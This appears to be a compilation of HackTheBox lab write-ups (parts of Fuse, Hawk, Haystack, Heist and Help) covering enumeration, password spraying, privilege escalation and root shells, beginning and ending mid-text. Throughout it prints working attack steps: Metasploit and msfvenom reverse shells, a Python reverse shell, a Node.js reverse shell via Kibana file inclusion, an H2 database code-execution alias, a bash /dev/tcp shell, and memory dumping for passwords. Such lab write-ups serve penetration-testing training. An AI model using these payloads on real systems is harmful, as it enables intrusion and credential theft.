service account. This account can be used to establish a WinRM shell on the machine. From this
foothold we can abuse the SeLoadDriver privilege and get a shell as SYSTEM.

Skills Required
Basic Windows Knowledge

Skills Learned
Printer Enumeration
Reset Expired Passwords
SeLoadDriver Privilege Abuse
Password Spraying
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.193 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.193

Nmap reveals that we are looking at a Domain Controller (DC) for the fabricorp.local domain.
Apart from the standard ports exposed by domain controllers, we note that ports 5985 (Windows
Remote Management) and 80 (Internet Information Services) are available. The server version is
Windows Server 2016 and the OS Build is 14393.

Navigating to port 80 in the browser results in a redirect to the URL below.

http://fuse.fabricorp.local/papercut/logs/html/index.htm

We can add the DC as a name server in /etc/resolv.conf and refresh the web page.

cat /etc/resolv.conf

nameserver 10.10.10.193
<SNIP>
This reveals the PaperCut Print Logger application, which is used for auditing print jobs. The page
contains a list of print jobs grouped by date.

Clicking on the first instance 29 May 2020 reveals the print jobs below. Some interesting
information can be gained from this, such as the company username format (first letter of the
first name followed by the surname), internal hostname format, possible job/role functions, and
the presence of a printer called HP-MFT01 . We can collect 3 usernames from this page ( pmerton ,
tlavel , and bnielson ) and save them to users.txt locally.

The instance of the 30 May 2020 reveals another username sthompson , which we add to our
users.txt file. We also see a Word document with the curious title Fabricorp01 . It's possible that
someone typed a password into a Word document, saved it and printed it off. Upon saving,
Microsoft Word uses the first sentence in a document as the suggested filename.
Let's take our four users and potential password, and perform a password spray using
CrackMapExec.

crackmapexec smb 10.10.10.193 -d fabricorp -u users.txt -p 'Fabricorp01'

This doesn't reveal any success cases, although it's worth noting that
STATUS_PASSWORD_MUST_CHANGE is not a failure case. We have the correct password for the
tlavel , bnielson and bhult accounts, although the password for the accounts has expired
and needs to be changed before logging in. It seems that the IT Helpdesk are setting common
passwords for their users.
Foothold
In the absence of RDP (which will prompt the user to change their password), we can use
PowerShell to interact with the Windows NET API module NetApi32, and change the password
programmatically. This article is found upon searching for how a user can change their own
expired password without RDP, and the following code is taken directly from it.

$username = 'bnielson'
$dc = 'fuse.fabricorp.local'
$old = 'Fabricorp01'
$new = 'S0meVeryLongPa5s!'

$code = @'
[DllImport("netapi32.dll", CharSet = CharSet.Unicode)]
public static extern bool NetUserChangePassword(string domain, string username,
string oldpassword, string newpassword);
'@

$NetApi32 = Add-Type -MemberDefinition $code -Name 'NetApi32' -Namespace 'Win32'


-PassThru
$NetApi32::NetUserChangePassword($dc, $username, $old, $new)

Note: If we want to change the password than once, we'll have to choose a new one each time
owing to password history enforcement in the domain. The password is reverted every two
minutes.

Disconnect the VPN on the Linux machine and hop over to a Windows machine. On the Windows
machine, connect the VPN, and execute the code above in the Windows PowerShell ISE. We
receive confirmation that the password for bnielson was successfully changed if the last
command returns False .

Still from the Windows machine, we can navigate to the UNC path \\10.10.10.193\ and are
presented with an authentication box as expected. Input the username bnielson with the new
password set.
This reveals the standard domain controller shares below, and also the printer hp-mft01 .

Let's connect to the printer by right-clicking on the object and selecting Connect .

This downloads the printer driver and sets up the local printer object. Open "Printers &
Scanners", right-click on the newly added printer and click "Properties". In corporate settings, the
main printers are often multifunction devices that also perform other functions such as faxing
and scanning. In this case, the "scan to docs" feature requires a password (possibly for the service
account), and this has been added to the printer object to help the users. We should also note
that this password seems generic for service accounts in general.
We can also enumerate printer properties using PowerShell.

Get-Printer -Name \\10.10.10.193\hp-mft01 | Format-List

Set the password for bnielson again, then disconnect the VPN on the Windows machine and
jump back to Linux. Edit /etc/resolv.conf again, comment out the added name server entry
and re-connect the VPN.

cat /etc/resolv.conf

#nameserver 10.10.10.193
nameserver 8.8.8.8

We can use the bnielson credentials to enumerate domain users with Windapsearch.

git clone https://github.com/ropnop/windapsearch


pip install python-ldap
cd windapsearch
python windapsearch.py -u "FABRICORP\bnielson" --dc-ip 10.10.10.193 -U
Save the users to users.txt and run CrackMapExec to spray the password that we got from the
printer.

crackmapexec smb 10.10.10.193 -d fabricorp -u users.txt -p '$fab@s3Rv1ce$1'

This reveals that svc-print is also configured with this password.

Now we can use windapsearch again to enumerate group membership of our compromised
user.

windapsearch.py -u "FABRICORP\bnielson" --dc-ip 10.10.10.193 -U --attrs


cn,memberof
Next we can also check the nested membership of our compromised user

windapsearch.py -u "FABRICORP\bnielson" --dc-ip 10.10.10.193 -G --attrs


cn,memberof

The IT_Accounts group has membership of the Remote Management Users group, which grants
all members of IT_Accounts with permissions to connect to the server remotely using WinRM.

As Nmap revealed that port 5985 was open, we can connect using evil-winrm using svc-
print:$fab@s3Rv1ce$1
Privilege Escalation
The whoami /groups command reveals that we are a member of the Print Operators group.
Membership of this group bestows the SeLoadDriver privilege on its members. The command
whoami /priv reveals that this privilege is already enabled in our logon token. We can get a
better understanding of the SeLoadDriver privilege by reading this post by Microsoft which
describes the vulnerability and impact associated with this privilege:

Device drivers run as highly privileged code. A user who has the Load and unload
device drivers user right could unintentionally install malware that masquerades
as a device driver.

So far we know that we have the ability to load drivers. However, a quick Google search of this
exploitation vector reveals a Tarlogic Security post that shows how a vulnerable driver can be
loaded, which can be leveraged to get RCE. It also mentions that this vector is no longer
exploitable in the latest Windows 10 or Windows 2016 versions.

All tests have been performed in a Windows 10 Version 1708 environment.


As of Windows 10 Version 1803, NTLoadDriver seems to forbid references to
registry keys under HKEY_CURRENT_USER.

It also isn't exploitable on Windows Server 2019. However, referring back to our Nmap scan, we
see that the machine is Windows Server 2016, OS Build 14393. Privilege escalation using the
SeLoadDriver privilege is still possible in this build version.

Windows Defender is not enabled on the machine so we don't have to care about any evasion.

get-item 'hklm:\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\'


We are going to load the same vulnerable driver as the blog post and use Metasploit to exploit it.
The Metasploit Capcom exploit requires a modification before we can use it so let's open the
exploit in an editor.

pico /usr/share/metasploit-
framework/modules/exploits/windows/local/capcom_sys_exec.rb

Next, comment out the section beginning with check_result , using the multi-line comment tags
=begin and =end . These tags should not be indented.

=begin
check_result = check
if check_result == Exploit::CheckCode::Safe || check_result ==
Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end

if sysinfo['Architecture'] == ARCH_X64
if session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported,
please get an x64 session')
end

if target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is
specified as x86')
end
end
=end

Next, start Metasploit and set up the multi/hander as follows.

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
exploit -j

Then create a 64-bit Meterpreter reverse TCP payload. The architecture is important because the
vulnerable Capcom driver exploit is only possible in 64-bit sessions.

msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp


LHOST=10.10.14.2 LPORT=4444 -f exe > msiexec.exe
Now we stand up a Python web server in our virtual machine, download the binary to the server
and execute it using the start-process PowerShell cmdlet. After executing the binary, we
receive a Meterpreter session as expected.

wget http://10.10.14.2/msiexec.exe -O msiexec.exe


start-process .\msiexec.exe

Next, we need to load the vulnerable Capcom driver, which can be exploited with the above
module. Safe boot is not enabled in the VM BIOS, which allows us to load signed third-party
drivers on the system.

In an attempt to defeat game-cheaters, Capcom attempted to build a Sony-style rootkit into their
driver. However, the implementation was poor and it contained multiple vulnerabilities, including
one that allowed userland code to be executed in the kernel.

We can download and compile eoploaddriver.cpp, and use it to install the vulnerable driver, but
first we need to install Visual Studio then Build Tools for Visual Studio.

After installation we can launch a Visual Studio developer tools console (x86-x64) to compile the
binary using the following command. The /DUNICODE flag will allow for Unicode output and we'll
import the external shell32.lib library specified at the end of the command.

cl.exe /DUNICODE /D_UNICODE eoploaddriver.cpp shell32.lib

The binary is successfully compiled. Next, download the NirSoft tool DriverView and the
vulnerable Capcom driver. Transfer the three files to the box under C:\test .
wget http://10.10.14.2/eoploaddriver.exe -O C:\test\eoploaddriver.exe
wget http://10.10.14.2/Capcom.sys -O C:\test\Capcom.sys
wget http://10.10.14.2/DriverView.exe -O C:\test\DriverView.exe

First, execute eoploaddriver.exe , in order to load the vulnerable driver.

.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\Capcom.sys

This runs and the status code 00000000 is returned, which indicates that the driver was
successfully loaded. We can use DriverView.exe to confirm this.

.\DriverView.exe /stext drivers.txt


gc .\drivers.txt | Select-String -pattern Capcom

Finally, return to Metasploit and run the exploit.

use exploit/windows/local/capcom_sys_exec
set SESSION 1
LHOST tun0
run
This is successful, and we receive a shell as SYSTEM.
Hawk
25​th​ November 2018 / Document No D18.100.29
Prepared By: egre55
Machine Author: mr_h4sh
Difficulty: ​Hard
Classification: Official

Page 1 / 21
SYNOPSIS
Hawk is a medium to hard difficulty machine, which provides excellent practice in pentesting
Drupal. The exploitable H2 DBMS installation is also realistic as web-based SQL consoles
(RavenDB etc.) are found in many environments. The OpenSSL decryption challenge increases
the difficulty of this machine.

Skills Required Skills Learned

● Basic Linux post-exploitation ● OpenSSL cipher experimentation,


knowledge brute force and decryption (courtesy of
● Knowledge of tunneling techniques IppSec Hawk video)
● Drupal enumeration and exploitation
● H2 DBMS enumeration and
exploitation

Page 2 / 21
Enumeration

Nmap

masscan -p1-65535 10.10.10.102 --rate=1000 -e tun0 > ports


ports=$(cat ports | awk -F ​" "​ ​'{print $4}'​ | awk -F ​"/"​ ​'{print $1}'​ |
sort -n | tr ​'\n'​ ​','​ | sed ​'s/,$//'​)
nmap -Pn -sV -sC -p​$ports​ 10.10.10.102

Nmap reveals a vsftpd installation, which allows anonymous authentication, and SSH on the
default port. A Drupal 7 installation running on Apache 2.4.29 is available on port 80, and the H2
database console is available on port 8082, although remote connections are disabled.

Page 3 / 21
FTP / Examination of Interesting File

The file .drupal.txt.enc is identified and downloaded for further inspection.

After base64 decoding the file it can be viewed, although the only discernible text is “Salted__”.

A Google search of this text reveals that the file has been encrypted in OpenSSL salted format.
OpenSSL encrypted files comprise of the 8-byte signature “Salted__”, followed by an 8-byte salt,
followed by encrypted data. ​http://justsolve.archiveteam.org/wiki/OpenSSL_salted_format

Page 4 / 21
Identification of OpenSSL Cipher

In the Hawk video, IppSec demonstrates a really good methodology for identifying the cipher that
was used, and this process is replicated below.

“wc -c” reveals that the file is 176 bytes, and as this is divisible by 16 is a strong indication that it
was created using a block cipher such as AES.

The idea is to create plaintext files ranging in size between 8 bytes (a possible minimum block
size), and 176 bytes (the ciphertext), in steps of 8. After some likely initial ciphers have been
selected, these ciphers are used to create ciphertexts. Those cipher/size combinations that are
not 176 bytes can be discarded, leaving a smaller number of candidate ciphers. The
script/commands below are available in ​Appendix A​.

The plaintext files and initial ciphers are chosen. The script ​encrypt.sh​ encrypts each plaintext file
from 8 to 176 using the selected ciphers. The regex ensures that the produced ciphertexts
(ending with .enc) aren’t used as input.

Page 5 / 21
The script completes, and the ciphertexts have been created. Selecting only those cipher/size
combinations that equal 176 bytes has resulted in a smaller list of possible ciphers.

They are:

● aes-128-cbc
● aes-256-cbc
● aes-256-ecb
● aria-128-cbc
● des

Page 6 / 21
OpenSSL Bruteforce and Recovery of Plaintext

aes-256-cbc is quite common and is chosen. With a cipher selected, the package archive is
queried for openssl brute force tools. The tool, bruteforce-salted-openssl is the first result and is
already installed.

After providing the password file, cipher and ciphertext, the tool is run and almost immediately it
identifies as password candidate of “friends”.

The password is provided and the openssl command below is invoked to recover the plaintext.

Given that the H2 console is not directly accessible, attention can now be turned to the Drupal 7
installation.

Page 7 / 21
Drupal Enumeration

Drupal Core Version Enumeration

The default Drupal landing page is accessible and displays a login form. More customised
installations (websites etc.) may not have a user login or registration section on the main page,
but this is typically accessible at /user.

There are a number of critical unauthenticated RCE vulnerabilities affecting Drupal 6 and 7. The
“Drupalgeddon” 2 and 3 vulnerabilities were announced in March and April 2018 respectively,
and so it is worth checking the Drupal CHANGELOG.txt, to see if it is vulnerable. This installation
is 7.58, which is patched against these vulnerabilities.

Page 8 / 21
Drupal Module and Theme Enumeration

Is it also worth running a scanner such as droopscan to identify if there are any interesting or
potentially vulnerable themes and modules installed. The “php” module has been identified and
seems interesting.

Page 9 / 21
Drupal User Enumeration

Often, users are made Drupal administrators to facilitate easy content management, and it is
worth identifying these users as they may have weak passwords. In the Hawk video, IppSec
shows a method of user enumeration which may not be detected. When attempting to log in, if
either username or password is incorrect, the typical error message “Sorry, unrecognized
username or password” is displayed. However, by inputting an invalid email address in the user
registration form (e.g. by including a ; character), valid usernames can be enumerated without
creating a mass of dummy accounts.

Logging in as “admin” with the password “PencilKeyboardScanner123” is successful.

Page 10 / 21
Exploitation

Enabling of PHP filter Module and RCE

Once logged in as admin, the available modules are examined and the “PHP filter” module is
enabled.

A webshell is selected and edited with the callback details, before being copied to the clipboard,
and a netcat listener is stood up.

Page 11 / 21
After clicking “Add content” → “Basic page”, and selecting “PHP code” from the “Text format”
dropdown list, the contents of the webshell are added to the Body.

After clicking “Preview”, a connection is received and the commands below are issued to
upgrade the shell.

SHELL=/bin/bash script -q /dev/null


Ctrl-Z
stty raw -​echo
fg
reset
xterm
export​ TERM=xterm

Page 12 / 21
Post-Exploitation

Identification of Drupal Database Credentials

The Drupal installation can now be examined in further detail. The drush command line utility is
useful for interacting with Drupal, and allows for additional Drupal modules to be installed, among
other powerful features, but it is not present on this installation. The settings.php associated with
the default site is inspected, as this likely contains database credentials.

/var/www/html/sites/default/settings.php

The mysql credentials ​drupal:drupal4hawk​ with a database name of “drupal” are visible.

Page 13 / 21
Cracking Drupal Hashes

Typical drupal installations may have multiple user accounts configured. If in scope as part of a
pentest, or as a pre-emptive check by defenders, the Drupal usernames and password hashes
can be dumped, and subjected to an offline brute force attack in order to recover the plaintext
passwords (although in this case the password is not in rockyou.txt).

mysql -u drupal -p
use drupal;select name,pass from users ​where​ status=1;

hashcat supports the Drupal 7 hash format.

hashcat -m 7900 hashes.txt wordlist.txt --potfile-disable --force

Page 14 / 21
Password Reuse

Password reuse is extremely common and the password ​drupal4hawk​ should be tried with other
identified accounts. The same password has been configured for the unprivileged user daniel,
and the user flag can now be obtained.

Page 15 / 21
H2 (DBMS) Enumeration

H2 is an open source database management system written in Java. Curl is used to verify that the
login page is accessible internally.

“ps aux | grep h2” reveals that the version of h2 is 1.4.196, and it is running as root.

Page 16 / 21
Privilege Escalation

H2 (DBMS) Manual Exploitation

A Google search for “h2 database shell” returns a blog post by Matheus Bernandes in which he
outlines his discovery that the H2 Database CREATE ALIAS function can be used to call Java
code.

https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

Using the credentials daniel:drupal4hawk, an SSH tunnel is created to allow access to the H2
database console.

Page 17 / 21
netstat confirms that 127.0.0.1:9002 is open and this H2 database console is now accessible.

After inputting a new database name (i.e. aewfadtgf as below), the connection succeeds with a
default username of “sa” and no password, and it is now possible to access the console .

Page 18 / 21
Using Matheus Bernandes’s example, it is confirmed that the database is operating in the context
of root.

CREATE​ ​ALIAS​ SHELLEXEC ​AS​ $$ ​String​ shellexec(​String​ cmd) throws


java.io.IOException { java.util.Scanner s = ​new
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelim
iter(​"\\A"​); return s.hasNext() ? s.next() : ""; }$$;
CALL​ SHELLEXEC(​'id'​)

The file exec.py is created with the python reverse shell one-liner below, and made executable.

import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.c
onnect((​"10.10.14.18"​,​8080​));os.dup2(s.fileno(),​0​); os.dup2(s.fileno(),​1​);
os.dup2(s.fileno(),​2​);p=subprocess.call([​"/bin/sh"​,​"-i"​]);

The script is run and a reverse shell running as root is received.

Page 19 / 21
H2 (DBMS) Exploit Scripts

Matheus Bernandes has also created a script to automate the exploitation of H2, which works
well.

Querying searchsploit for “h2 1.4.196”, reveals another H2 exploit script created by h4ckNinja,
based on the Matheus’s exploit. This script also works well.

Page 20 / 21
Appendix A

for​ cipher ​in​ $(cat cipher.lst); ​do


for​ length ​in​ $(ls | grep ​"^[0-9]\?[0-9]\?[0-9]\?$"​); ​do
openssl enc ​$cipher​ -e -​in​ ​$length​ -out ​$length$cipher​.enc -k
PleaseSubscribe
done
done
encrypt.sh

-aes-256-cbc
-aes-128-cbc
-aes-256-ecb
-aes-128-cbc
-aes-256-ofb
-aes-128-ofb
-rc4
-rc4-cbc
-aria-128-cbc
-des
cipher.lst

for​ i ​in​ $(seq 0 8 176); ​do​ python -c ​"print 'A'*​$i​"​ > ​$i​; d
​ one
create plaintexts

Page 21 / 21
Haystack
20​th​ October 2019 / Document No D19.100.45
Prepared By: MinatoTW
Machine Author: Joydragon
Difficulty: ​Easy
Classification: Official

Page 1 / 16
SYNOPSIS
Haystack is an Easy difficulty Linux box running the ELK stack ( Elasticsearch, Logstash and
Kibana). The elasticsearch DB is found to contain many entries, among which are base64
encoded credentials, which can be used for SSH. The kibana server running on localhost is found
vulnerable to file inclusion, leading to code execution. The kibana user has access to the
Logstash configuration which is set to execute files as root based on a certain filter.

Skills Required Skills Learned

● Enumeration ● Elasticsearch enumeration


● Kibana File inclusion
● Logstash plugins and filters

Page 2 / 16
Enumeration

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.115 | grep ^[0-9] | cut -d ​'/'​ -f 1


| tr ​'\n'​ ​','​ | sed s/,$//)
nmap -p​$ports​ -sC -sV 10.10.10.115

We find SSH open on port 22 along with Nginx servers on port 80 and 9200. Browsing to port 80
we just find an image of a needle.

Page 3 / 16
ElasticSearch

A quick google search reveals that port 9200 is the default port for Elasticsearch. Navigating to
port 9200 in the browser we receive a JSON response with the cluster name as “elasticsearch”.
This hints that the server is indeed running elasticsearch. Data in Elasticsearch is stored in the
form of “indices”. It is similar to a database in any Relational DBMS server. To list all indexes
present in the DB the _cat API can be used.

http://10.10.10.115:9200/_cat/indices?v

As seen above, there are three indexes, quotes, bank and .kibana (default). The _search API can
be used to list the entries present in a DB. For example, to list entries in the quotes DB.

http://10.10.10.115:9200/quotes/_search

Page 4 / 16
By default, the _search API returns just 10 entries. To find out the number of entries present use
the _count API.

We see that there are 253 entries in the quotes index. The size parameter can be used to specify
the number of entries to return.

http://10.10.10.115:9200/quotes/_search?size=253

We can see that the total number of hits returned are 253. To display all the entries we can use
curl. The output would contain JSON data with the quotes, in order to extract only the quotes
we’ll format our output using jq.

Page 5 / 16
Let’s extract the quote from the first entry using jq.

As we can see, the “quote” field is nested within the “hits” array which is in turn nested within the
“hits” object. In order to select a field with jq the “.name” notation can be used.

The command below would extract the “hits” field out of the output above.

curl -s 'http://10.10.10.115:9200/quotes/_search?size=1' | jq .hits

Page 6 / 16
Similarly, to extract the next hits array we can issue:

To specify an array the “[]” filter should be used. This will return all elements in the array.

Page 7 / 16
Foothold
The quote is present in the “_source” field. We can now use “._source.quote” filter to access it
directly.

We were able to extract the quote string using the jq filters. Now the size can be set to 253 and
all quotes can be displayed.

curl -s 'http://10.10.10.115:9200/quotes/_search?size=253' | jq '.hits.hits | .[] |


._source.quote' > /tmp/quotes

All the quotes present in the output are in Spanish. Manually looking through them we’ll find
these two uncommon sentences.

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg


Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=

They contain two base64 encoded strings which decode to:

Page 8 / 16
It says the username is security and the password is “spanish.is.key”. Trying to login with the
credentials found above lets us in.

Page 9 / 16
Lateral Movement

Looking at the ports open on localhost we find port 5601 to be open.

The command “ss” is used as netstat isn’t available. The -4 flag is used to specify IPv4, the -l flag
shows only listening ports and the -n flag is used to display port numbers. This shows that a
service is listening on port 5601, which is used by Kibana. This port can be forwarded using SSH.

ssh -L 5601:127.0.0.1:5601 [email protected] -N

The command above forwards all connections from 5601 on our box to port 5601 on haystack.
Browsing to port 5601 using the browser shows that it does indeed host a Kibana server.

Page 10 / 16
Kibana is a data visualization UI used with Elasticsearch. It helps in displaying the data from
Elasticsearch in the form of graphs, charts, etc. To find the version, the /api/status API can be
called.

The version number of the Kibana server is found to be “6.4.2”.

Searching about vulnerabilities in this version we come across ​CVE-2018-17246​. There’s a file
inclusion vulnerability in kibana versions before 6.4.3. A write-up on the exploitation can be found
here​. According to it, the /api/console/api_server endpoint is vulnerable to LFI.

First, we need to create a .js file containing a node reverse shell such that it gets executed on
inclusion. Create a file at /tmp/shell.js with the contents:

(​function​(){
var net = require(​"net"​),
cp = require(​"child_process"​),
sh = cp.spawn(​"/bin/sh"​, []);
var client = new net.Socket();
client.connect(1234, ​"10.10.14.7"​, ​function​(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});

Page 11 / 16
return​ /a/; // Prevents the Node.js application form crashing
})();

Then start a listener on port 1234 and use curl to execute the shell.

curl
'http://localhost:5601/api/console/api_server?apis=../../../../../../../../../tmp/s
hell.js'

We received a shell as the user “kibana”.

Page 12 / 16
Privilege Escalation
Let’s enumerate the files and folders we have access to as the kibana user.

First we spawn a tty using python and then use the find command to list all files owned by kibana
excluding the files in /usr and /proc. At the end of the output we see a folder “/opt/kibana”. Going
into the folder we find that it’s empty. Now, let’s find the files our group has access to.

We have access to the /etc/logstash/conf.d folder as the user kibana. Logstash is a software
which collects data from various sources and sends it to Elasticsearch for storage. It can collect
data from various logs and services such as databases, system logs, etc.

Looking into the folder, we find three files i.e filter.conf, input.conf and output.conf. Here are the
contents of the input.conf file:

Page 13 / 16
input {
file {
path => ​"/opt/kibana/logstash_*"
start_position => ​"beginning"
sincedb_path => ​"/dev/null"
stat_interval => ​"10 second"
type​ => ​"execute"
mode => ​"read"
}
}

Looking at the logstash configuration documentation ​here​, The input section is used to specify
the source to read the data from. In the configuration above, the file path is configured to be
/opt/kibana/logstash_* and the interval is set to 10 seconds. This means that Logstash would read
any files which have names starting with logstash_* every 10 seconds. Next, let’s view the
filter.conf file.

filter {
if​ [​type​] == ​"execute"​ {
grok {
match => { ​"message"​ =>
"Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}"​ }
}
}
}

The filter.conf stores the configuration for the filter plugin. Logstash uses the grok filter to match
and filter out data. The grok documentation can be found ​here​. It uses regular expressions along
with it’s own syntax to identify input.

The filter in the configuration file above is:

Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}

The \s regular expression is used to denote a space. The asterisk after \s means that there can

Page 14 / 16
be zero or more spaces in the input. The plus symbol after \s means that there can be one or
more spaces. The %{GREEDYDATA:comando} is a grok filter which will select all the data present
after the spaces and assign it to a variable named “comando”. For example, if our input is:

Ejecutar comando : HTB rocks!

Grok will assign the string “HTB rocks!” to comando, which will be sent to the output filter. Here’s
the output.conf file:

output {
if​ [​type​] == ​"execute"​ {
stdout { codec => json }
exec​ {
command​ => ​"%{comando} &"
}
}
}

It uses the “exec” plugin to execute the command specified by the “comando” variable. So,
logstash will try executing “HTB rocks!”. This can be set to any command which will get executed
within 10 seconds. Let’s try running whoami to see which user we’re running as. Use the following
command to create an input file.

echo​ ​'Ejecutar comando : whoami > /tmp/user'​ > /opt/kibana/logstash_execute

The command above will create a file /opt/kibana/logstash_execute, which on execution writes
the output of the command ​whoami ​to /tmp/user. Checking after a few seconds, we see that
we’re running as root.

Page 15 / 16
We can now try writing a shell and get it executed.

echo​ ​'Ejecutar comando: bash -i >& /dev/tcp/10.10.14.7/4444 0>&1'​ >


/opt/kibana/logstash_exec

The input above would result in execution of a bash reverse shell to port 4444.

Page 16 / 16
Heist
20​th​ November 2019 / Document No D19.100.51
Prepared By: MinatoTW
Machine Author: MinatoTW
Difficulty: ​Easy
Classification: Official

Page 1 / 11
SYNOPSIS
Heist is an easy difficulty Windows box with an “Issues” portal accessible on the web server, from
which it is possible to gain Cisco password hashes. These hashes are cracked, and subsequently
RID bruteforce and password spraying are used to gain a foothold on the box. The user is found
to be running Firefox. The firefox.exe process can be dumped and searched for the
administrator’s password.

Skills Required Skills Learned

● Enumeration ● RID bruteforce


● Cracking Cisco hashes
● ProcDump

Page 2 / 11
Enumeration

Nmap

We find IIS running on port 80, MSRPC on port 135 and SMB on 445. Additionally, port 5985
(associated with WinRM) is exposed, which may allow remote sessions.

IIS

Browsing to the website, we come across a login page.

The page allows us to login as a guest, which brings us to an “Issues” page.

Page 3 / 11
The post talks about a Cisco router configuration. Clicking on the attachment shows the
configuration.

On searching about Cisco configurations, we ​find​ that the hashes are Cisco type 5 and type 7
password hashes. The type 5 hashes can be cracked using an online tool such as ​this​.

Page 4 / 11
The two type 7 hashes were cracked revealed to be ​$uperP@ssword​ and Q
​ 4)sJu\Y8qz*A3?d​.
Let’s save these and crack the type 5 hash next. This can be cracked using John the Ripper and
rockyou.

The password is revealed to be “stealth1agent”. Enumeration of the “Issues” page revealed the
usernames “Hazard” and “Administrator”. Let’s bruteforce SMB with these passwords using
CrackMapExec​ (CME).

CME found valid credentials: ​hazard / stealth1agent.

Page 5 / 11
Foothold

Let’s try logging into WinRM with these using the CME winrm module.

The login failed, which means that the user “hazard” isn’t in the “Remote Management Users”
group. However, possession of valid credentials will still let us enumerate the box. Let’s try
enumerating the users on the box using RID bruteforce. RID stands for Relative Identifier, which is
a part of SID (Security Identifier) used to uniquely identify a user or service on a Windows host.

The Domain or Local Identifier is constant for a given computer, while the RID is unique. So we
can query the box for it’s “Local Computer Identifier”, and bruteforce RID values, which will return
usernames for valid SIDs. The --rid-brute option in CME can do this for us.

Page 6 / 11
CME was able to identify three additional usernames - support, Chase and Jason. Let’s use the
passwords from earlier and check if one of them is valid for the usernames we found.

Authentication was successful with the username Chase and password ​Q4)sJu\Y8qz*A3?d​. The
evil-winrm​ script can be used to login via WinRM.

Page 7 / 11
Privilege Escalation

A ToDo list is found on the user’s desktop.

According to this Chase will be checking the issues list frequently. Looking at the running
processes, we see that Firefox is active.

Maybe he’s using firefox to login to the Issues portal? As we have control over the process, we
can dump the process and find passwords in it.

Page 8 / 11
The ​procdump​ utility can be used to dump process memory. Download and transfer it to the
server.

We need to use the -ma flag to dump the entire memory of the process.

We can start an SMB server locally to transfer this file.

smbserver.py -smb2support -username guest -password guest share /root/htb

The server will use the credentials ​guest / guest ​for authentication.

Page 9 / 11
Now mount the share on the box and copy the file to it.

Here’s the request sent on trying to login on the web page.

The page used login_password as the parameter to submit passwords. We can search the dump
for strings like “login_password” to find any requests.

We can see the entire URL string with the username and password parameters.

Page 10 / 11
The password “4dD!5}x/re8]FBuZ” can be used to login as Administrator.

Page 11 / 11
Help
08​th​ May 2019 / Document No D19.100.22
Prepared By: MinatoTW
Machine Author: cymtrick
Difficulty: ​Easy
Classification: Official

Page 1 / 15
SYNOPSIS
Help is an Easy Linux box which has a GraphQL endpoint which can be enumerated get a set of
credentials for a HelpDesk software. The software is vulnerable to blind SQL injection which can
be exploited to get a password for SSH Login. Alternatively an unauthenticated arbitrary file
upload can be exploited to get RCE. Then the kernel is found to be vulnerable and can be
exploited to get a root shell.

Skills Required Skills Learned

● Enumeration ● GraphQL enumeration


● Scripting ● Blind SQL injection

Page 2 / 15
ENUMERATION

NMAP
ports=$(nmap -p- --min-rate=1000 -sT -T4 10.10.10.121 | grep ^[0-9] | cut
-d ​'/'​ -f 1 | tr ​'\n'​ ​','​ | sed s/,$//)
nmap -sC -sV -p​$ports​ 10.10.10.121

Apache is running on port 80 along with ssh on port 22. A Node.js server is running on port
3000.

Page 3 / 15
APACHE
Navigating to the page directly shows a default Apache installation.

GOBUSTER

gobuster -w directory-list-2.3-medium.txt -t 100 -u http://10.10.10.121/

Gobuster straight away discovers /support going to which we find a HelpDeskz installation.

Page 4 / 15
A quick google search takes us to the ​github page​ of the software. We see that it contains a file
UPGRADING.txt in the root folder. Checking for the file on the box returns the changelog.

The version is found to be 1.0.2. Checking exploit-db for the version returns two vulnerabilities, an
arbitrary file upload​ and an ​authenticated SQL injection​.

NODE.JS SERVER

Navigating to port 3000 the page returns a message.

From the response headers the server is found to running Express framework.

Page 5 / 15
Googling about “Express js query language” we come across results related to GraphQL.

Navigating to /graphql we encounter an error about the GET parameter.

Trying http://10.10.10.121:3000/graphql?query=abc the page returns an error.

Next we try to query information. A graphql endpoint takes in objects as input. As we need
information related to a user lets try a user object,

curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}"


| jq

The page asks us to supply subfields, let’s try that with an obvious attribute such as username.

Page 6 / 15
curl -s -G http://10.10.10.121:3000/graphql --data-urlencode
'query={user {username} }'​ | jq

The server returns a username i.e [email protected]. Now we can try dumping the password
too.

curl -s -G http://10.10.10.121:3000/graphql --data-urlencode


'query={user {username, password} }'​ | jq

And we get the password. The password is 32 characters long i.e md5. Cracking in on ​HashKiller
returns the cracked password as “godhelpmeplz”.

Trying the credentials [email protected] / godhelpmeplz on the HelpDesk page lets us in.

Page 7 / 15
FOOTHOLD

AUTHENTICATION SQL INJECTION

From initial enumeration we know the version is vulnerable to SQL injection.

Lets upload a ticket and fetch the attachment URL. Navigate to Submit and ticket and upload a
ticket with an image as attachment. Go to VIew Tickets and open the ticket.

Right click on the attachment and copy the link. Request it and intercept in burp. An example
ticket is,

http://10.10.10.121/support/?v=view_tickets&action=ticket&param[]=4&param[]
=attachment&param[]=1&param[]=6

Lets check if it’s vulnerable to SQLI,

